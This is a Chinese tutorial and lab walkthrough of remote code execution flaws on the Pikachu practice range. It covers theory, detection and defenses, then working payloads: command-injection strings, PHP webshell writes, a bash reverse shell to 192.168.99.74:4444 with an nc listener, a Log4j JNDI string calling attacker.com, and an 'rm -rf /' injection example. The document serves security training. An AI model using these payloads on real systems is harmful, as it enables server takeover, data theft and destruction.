当前位置: 首页 > news >正文

Pikachu靶场-RCE漏洞

1. RCE漏洞原理

  • 核心问题:应用程序未对用户输入进行严格过滤,直接将输入内容拼接至系统命令、代码执行函数或反序列化过程中。
  • 常见触发场景
  • 命令注入:用户输入被拼接到操作系统命令(如system()exec())。
  • 代码注入:动态执行用户可控的代码(如eval()Function())。
  • 反序列化漏洞:反序列化未经验证的数据触发恶意代码(如Java的ObjectInputStream、Python的pickle)。

 

2. RCE漏洞类型

(1) 命令注入(Command Injection)

  • 触发点:直接调用系统命令的函数(如bashcmd)。
  • 示例
    // PHP代码示例:未过滤用户输入的id参数
    $id = $_GET['id'];
    system("ping -c 4 " . $id);
  • 攻击者可输入127.0.0.1; rm -rf /,导致删除服务器文件。

(2) 反序列化漏洞

  • 触发点:反序列化不可信数据时自动调用危险方法(如Java的readObject())。
  • 示例:Apache Log4j2(CVE-2021-44228)通过日志记录中的${jndi:ldap://恶意URL}触发远程代码加载。

(3) 动态代码执行

  • 触发点:使用eval()setTimeout()等动态执行代码。
  • 示例
    // Node.js代码示例:未过滤用户输入
    const userInput = req.query.input;
    eval('console.log("' + userInput + '")');
  • 输入"); process.exit(1); // 可导致服务崩溃。

 

3. 典型攻击场景

  • Web应用:通过URL参数、HTTP头、表单字段注入恶意命令。
  • 中间件/框架:利用Struts2、Spring、Fastjson等框架的漏洞(如CVE-2017-5638)。
  • IoT设备:通过未授权接口执行系统命令(如路由器固件漏洞)。
  • 供应链攻击:污染开源库(如PyPI、npm包)间接引入RCE。

 

4. RCE漏洞危害

  • 完全控制系统:获取服务器Shell权限,植入后门或勒索软件。
  • 数据泄露:窃取数据库、配置文件中的敏感信息。
  • 横向渗透:作为跳板攻击内网其他设备。
  • 资源滥用:利用服务器进行挖矿、DDoS攻击。

 

5. 检测方法

(1) 黑盒测试

  • 模糊测试(Fuzzing):输入|;&$(cmd)等特殊字符,观察响应异常。
  • 工具扫描:使用Burp Suite、Nuclei、Metasploit检测已知RCE漏洞。

(2) 白盒审计

  • 代码审计:检查以下高危函数:
  • PHP:system()exec()popen()eval().
  • Python:os.system()subprocess.run()pickle.loads().
  • Java:Runtime.exec()ProcessBuilder()ObjectInputStream.
  • 反序列化检查:验证反序列化数据是否签名或加密。

 

6. 防御措施

(1) 输入过滤与验证

  • 白名单机制:仅允许预期字符(如数字、字母)。
  • 转义危险字符:过滤|&;$()等Shell元字符。

(2) 避免直接执行命令

  • 使用安全的API替代系统命令。例如:
  • FileUtils.readFileToString()代替Runtime.exec("cat /etc/passwd")

(3) 最小权限原则

  • Web服务以低权限用户(如www-data)运行,限制命令执行能力。

(4) 禁用危险函数

  • 在PHP中禁用eval()system()等函数(修改php.inidisable_functions)。

(5) 安全反序列化

  • 避免反序列化不可信数据,使用JSON等安全格式替代。
  • Java中可启用SerializationFilter(JDK 17+)。

 

7. 经典案例

  1. Shellshock(CVE-2014-6271)
  • 漏洞原因:Bash解析环境变量时执行恶意代码。
  • 攻击载荷() { :; }; /bin/bash -c '恶意命令'
  1. Fastjson RCE(CVE-2022-25845)
  • 漏洞原因:反序列化时自动加载恶意类。
  • 修复方案:升级至1.2.83+版本并启用safeMode
  1. Log4j2(CVE-2021-44228)
  • 漏洞原因:日志记录中未过滤JNDI lookup。
  • 攻击载荷${jndi:ldap://attacker.com/Exploit}

总结

RCE漏洞的根源在于“信任了不可信的输入”。防御需结合输入过滤、最小权限、代码审计等多层机制,同时及时更新依赖库和框架补丁。对于企业,建议定期进行渗透测试,并建立应急响应流程以快速应对此类高危漏洞。

 

一,exec "ping

1,提供了一个允许执行ping操作的网站

尝试执行系统命令

127.0.0.1;ls

127.0.0.1 | ls

127.0.0.1 & ls

127.0.0.1 || ls

127.0.0.1 && ls

2,可以看到以上字符除了||都能进行注入,直接写一句话木马到当前文件夹

127.0.0.1;echo "<?php @eval($_POST['attack']);?>" >webshell.php

127.0.0.1;chmod 777 webshell.php

127.0.0.1;ls -la

然后使用蚁剑连接webshell.php

 

二,exec "eval"

漏洞位置

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";
    }
}

关键危险函数eval($_POST['txt'])

漏洞原理

  1. 直接执行用户输入
    用户通过POST提交的txt参数未经任何过滤,直接传递给eval()函数执行。
    eval()会将字符串解析为PHP代码执行,攻击者可构造恶意代码注入。
  2. 缺乏输入过滤
    未对$_POST['txt']进行以下安全处理:
  • 过滤危险字符(如;${}
  • 白名单验证(仅允许特定字符)
  • 代码语法检查
  1. 错误抑制符(@)的误导
    @符号抑制了错误输出,但无法阻止代码执行。即使代码执行失败,攻击者仍可能通过盲注(Blind RCE)探测漏洞。

漏洞危害

  • 完全控制服务器:执行系统命令、读写文件、安装后门。
  • 数据泄露:读取数据库配置、用户信息等敏感文件。
  • 横向渗透:以当前服务器为跳板攻击内网。
  • 持久化攻击:植入Webshell、定时任务、SSH密钥。

修复建议

  1. 禁用eval函数
    php.ini中禁用eval函数:
    disable_functions = eval
  2. 输入过滤机制
    如果业务必须接受动态代码,需实现严格过滤:
    // 示例:仅允许数字和字母
    $input = $_POST['txt'];
    if (!preg_match('/^[a-zA-Z0-9]+$/', $input)) {
        die("非法输入!");
    }
  3. 使用安全替代方案
  • 避免动态执行代码,改用预定义函数或API。
  • 例如,若需数学计算,用intval()代替动态表达式。
  1. 最小权限运行
    Web服务器(如Apache/Nginx)以低权限用户(如www-data)运行,限制其执行系统命令的能力。
  2. 日志监控
    记录所有用户输入及异常行为,使用IDS/IPS检测攻击尝试。

 

一,漏洞验证(POC)

  1. 提交简单PHP代码测试:
    txt=echo phpinfo();

若页面返回PHP配置信息,则漏洞存在。

  1. 盲注检测(无回显时):
    txt=system('sleep 5');
    观察响应是否延迟5秒。

 

二,攻击示例

攻击者可提交以下Payload实现任意代码执行:

// 执行系统命令(如查看文件列表)
txt=system('ls -la /');

// 写入Webshell
txt=file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>');

txt=system('ls');

// 靶机反弹Shell(URL栏需URL编码)
txt=exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.99.74/4444 0>&1'");

攻击机打开监听

nc -lvvp 4444

相关文章:

  • 三网通电玩城平台系统结构与源码工程详解(三):控制台与银商权限模块设计
  • Linux虚拟机中 编译Linux源码 记录
  • spark和Hadoop之间的对比与联系
  • wps批量修改字体
  • 当OCR遇上“幻觉”:如何让AI更靠谱地“看懂”文字?
  • 代码随想录第三十七天|华为秋季笔试真题230823
  • SpringbootWeb开发(注解和依赖配置)
  • 时序数据库IoTDB与OpenTSDB的对比分析
  • 卷积神经网络迁移学习:原理与实践指南
  • 实训Day-2 流量分析与安全杂项
  • 晶振详解:原理、作用、种类、应用与选型要点
  • Spring XML 配置
  • Selenium+Java 环境搭建
  • 【AI提示词】投资策略专家
  • ViewBS 的工作流程
  • 传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确。此 RPC 请求中提供了过多的参数。最多应为 2100。
  • Day98 | 灵神 | 二叉树 平衡二叉树
  • 文件上传漏洞3
  • 开发网页程序时预览时遇到跨域问题解决方法
  • 【EasyPan】文件上传、文件秒传、文件转码、文件合并、异步转码分析
  • 京东美团商战,能惠及骑手吗?
  • 马上评丨全面取消 “仅退款”,反内卷的必然
  • 当代读书人的暗号:不是拆快递,是拆出版社样书!|世界读书日特辑
  • 世界读书日丨阅读与行走,都是理解世界的方式
  • 国产手术机器人+5G技术,上海医生同一天远程为五地患者开刀
  • 同比增长1.2倍!一季度货物贸易项下跨境资金净流入2063亿美元